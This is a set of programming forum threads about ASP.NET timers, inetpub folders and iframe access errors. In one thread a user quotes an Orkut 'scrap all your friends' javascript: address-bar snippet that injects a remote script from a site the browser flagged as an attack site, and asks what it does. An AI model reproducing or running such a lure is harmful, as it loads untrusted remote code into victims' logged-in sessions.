|
hiiii friends
i have created one text box name txtemail id so i have create this function which is provided in
http://my.naukri.com/manager/createacc2.php?othersrcp=5423&wExp=N
for username like this
i have tried many thing like onblur.onkeypress i have provided timer and in timer events have taken Boolean result but this is when timer is going start is not stooping.......
I'll provide whole code to here....
so plz help me
page code
____________________________________________________________________________________________________
js
function startTimer(lblerror) {
var timer = $find('<%= TimerEmail.ClientID %>');
var labelmes = lblerror.toString();
if (labelmes == "Available U can use !!") {
timer._enabled = false;
}
else {
//timer._startTimer();
timer._enabled = true;
}
}
function stopTimer() {
var timer=$find('<%=TimerEmail.ClientID%>');
}
html code
<asp:UpdatePanel ID="udpanelEmail" runat="server" UpdateMode="Conditional">
<ContentTemplate>
<asp:Timer ID="TimerEmail" runat="server" Enabled="False" Interval="3000" OnTick="TimerEmail_Tick">
</asp:Timer>
<asp:TextBox runat="server" ID="txtEmailId" CssClass="TextBoxClass" AutoPostBack="true" OnTextChanged="txtEmailId_TextChanged"> </asp:TextBox>
<asp:RequiredFieldValidator ID="ReqVEmailId" runat="server" ControlToValidate="txtEmailId"
Display="None" Enabled="true" ErrorMessage="Enter Email Id" SetFocusOnError="True"
> </asp:RequiredFieldValidator>
</ajax:ValidatorCalloutExtender>
<asp:RegularExpressionValidator ID="RegexEmailId" runat="server" ControlToValidate="txtEmailId"
Display="None" ErrorMessage="Enter valid Email Id" SetFocusOnError="True" ValidationExpression="^[-a-zA-Z0-9~!$%^&*_=+}{\'?]+(\.[-a-z0-9~!$%^&*_=+}{\'?]+)*@([a-z0-9_][-a-z0-9_]*(\.[-a-z0-9_]+)*\.(aero|arpa|biz|com|coop|edu|gov|info|int|mil|museum|name|net|org|pro|travel|mobi|in|co.in|co.uk|[a-z][a-z])|([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}))(:[0-9]{1,5})?$"> </asp:RegularExpressionValidator>
<asp:Label ID="lblerrormes" runat="server" Font-Names="arial,sans-serif;"></asp:Label>
</ContentTemplate>
<Triggers>
<asp:AsyncPostBackTrigger ControlID="txtEmailId" EventName="TextChanged" />
</Triggers>
</asp:UpdatePanel>
code behind
page load
txtEmailId.Attributes.Add("onkeypress", "startTimer('" + lblerrormes.Text + "')");
txtEmailId.Attributes.Add("onblur", "stopTimer()");
protected void TimerEmail_Tick(object sender, EventArgs e)
{
CheckForAvailability();
}
private void CheckForAvailability()
{
string emailmatchString = string.Empty;
string script = string.Empty;
btnSave.Enabled = false;
emailmatchString = @"^[-a-zA-Z0-9~!$%^&*_=+}{\'?]+(\.[-a-z0-9~!$%^&*_=+}{\'?]+)*@([a-z0-9_][-a-z0-9_]*(\.[-a-z0-9_]+)*\.(aero|arpa|biz|com|coop|edu|gov|info|int|mil|museum|name|net|org|pro|travel|mobi|in|co.in|co.uk|[a-z][a-z])|([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}))(:[0-9]{1,5})?$";
if (txtEmailId.Text.Trim() != string.Empty)
{
if (Regex.IsMatch(txtEmailId.Text.ToLower().Trim(), emailmatchString))
{
if (BusinessLogicLayer.CreateNewUser.IsEmailIdAlreadyExist(txtEmailId.Text.ToLower().Trim()))
{
_Emailinfo = false;
lblerrormes.ForeColor = System.Drawing.Color.FromArgb(255, 0, 0);
lblerrormes.Text = "Not Available Choose another !!";
txtEmailId.Focus();
}
else
{
_Emailinfo = true;
lblerrormes.ForeColor = System.Drawing.Color.FromArgb(1, 0, 255, 0);
lblerrormes.Text = "Available U can use !!";
btnSave.Enabled = true;
//btnCancel.Enabled = true;
}
}
else
{
_Emailinfo = false;
lblerrormes.Text = "";
}
}
}
protected void txtEmailId_TextChanged(object sender, EventArgs e)
{
TimerEmail.Enabled = true;
}
|
|
|
|
|
Can you please reformat your code. Its very difficult to read.
Thanks !
Abhijit Jana | Codeproject MVP
Web Site : abhijitjana.net
Don't forget to click "Good Answer" on the post(s) that helped you.
|
|
|
|
|
You could also try using the right forum, this is ASP.NET code.
Christian Graus
Driven to the arms of OSX by Vista.
Read my blog to find out how I've worked around bugs in Microsoft tools and frameworks.
|
|
|
|
|
ok abjiit thnkas for your promp reply........
i'll mail u my whole code to u......
|
|
|
|
|
I don't know who you said that to, but I promise you, if you mail me a ton of code, I will not respond. Just try to post in the right forum, and to post in a way that makes it easy for people to try to help you.
Christian Graus
Driven to the arms of OSX by Vista.
Read my blog to find out how I've worked around bugs in Microsoft tools and frameworks.
|
|
|
|
|
|
It was built with fore thought, unlike your question. What do you mean how is it built?
only two letters away from being an asset
|
|
|
|
|
Right click in your browser and view source. It's very simple. There's frames in the page, so only the white frame gets refreshed, and hte links are styled with CSS.
Christian Graus
Driven to the arms of OSX by Vista.
Read my blog to find out how I've worked around bugs in Microsoft tools and frameworks.
|
|
|
|
|
Hi all,
Thank you Arun Jacob, I have done your suggestion before I posted my first question, that is why I needed to "say how can I regain". However, I have got an inetpub from an XP (sp2). The only thing I want to know is, are they the same vista's inetpub XP's inetpub. Sorry for my english.
|
|
|
|
|
Hi,
first of all you should reply directly to the answer given by Arun Jacob, because now the context is missing...
What do you mean by "same inetpub"? The files within?
Regards
Sebastian
|
|
|
|
|
Yes you are write. I want to check all the files contained in both XP's inetpub and Vista's are the same or not. I'm sorry for the clarity.
|
|
|
|
|
Do you want to do this by code? If yes, list all files and directories using the Directory.GetFiles or Directory.GetDirectories. Iterate through both and check if all files are present....
|
|
|
|
|
Hello i am creating a search engine aid that has for search engines web pages as i frame. And in the parent Page i have a text box , i enter the what i want in the text box and after i press on button what is written in my text box i written in the search engines' textboxes and search for it.
The Problem:
I am having an access denied error. Could any one tell me why? and how i could work around it?>
|
|
|
|
|
You should be able to do this with javscript - but you'll need to know the correct query strings to use. I.E. google is: /search?hl=en&q=code+project&meta= for the code project
|
|
|
|
|
I dont want to send by url since i can`t know which search engine will be in which i frame as i said i have four i frames. What i did i i found out that the Id if the text box in bing.com is "sb_form_q"
|
|
|
|
|
I suggest using the fact you know what the id's are to prepare the urls - otherwise it is quite likely you will receive access denied errors.
You could check if all the SEs have a search API?
|
|
|
|
|
Did not get your question, could you tell me why this error is happening?? i found out that i could go around it but how?
|
|
|
|
|
Access Denied: You are denied access because you don't have permissions.
|
|
|
|
|
How i dont have permission it is a client side page on my pc inside my own frame it is not about i dont have permission i searched and found that i have to do something with domain property.
|
|
|
|
|
Hi,
I was on orkut.com and in a community it said:
"scrap all your friends" and gave the following javascript code to put in the address bar of the browser which I did:
<code>javascript =document;c=d.createElement('script');d.body.appendChild(c);c.src='http://www.stylishorkut.com/scrapall.js';void(0)</code>
Nothing happened. When I tried to visit www.stylishorkut.com (caution: do not go there!!) directly my firefox 3 blocked it with a google advisory tating that it was an attack site.
Could you please tell me what this code does?
I tried reporting to google but they didn't do anything.
Thanks!
|
|
|
|
|
Its just a javascript hook which finds all the friend lists from Orkut and send a scrap to everyone.
Nothing to worry. it embeds a script and scraps to all of your friends. Dont run this (I suggest)
|
|
|
|
|
Hi,
Then why is stylishorkut.com blocked by my browser and says its an attack site?
someone told me there is no script that can send scraps to all your friends.
Thanks.
|
|
|
|
|
rayneesh wrote: someone told me there is no script that can send scraps to all your friends.
Someone told me that if I pass some spam on, Bill Gates sends money to orphans.
You're plainly not a programmer, you've come to a programming site and asked a question, now you want to tell a programmer what one of your idiot friends told you ? Accept the answer, or don't ask the question.
Christian Graus
Driven to the arms of OSX by Vista.
Read my blog to find out how I've worked around bugs in Microsoft tools and frameworks.
|
|
|
|
|
You're a bit of a dick, you know that?
Completely uncalled for.
Narf.
|
|
|
|
|
I guess its linked to an external js file,name of that js file is scrapall.js but it doesn't mean that it'll send scrap to all friends.Did u checked that js file?But i don't think that for orkut type of site, sending scrap for all of your friends is possible as Google is maintaining that.Then vat'll be the security for that data.But if we are thinking from programmer side its possible to hack site if somebody is specifically goin 4 that.
|
|
|
|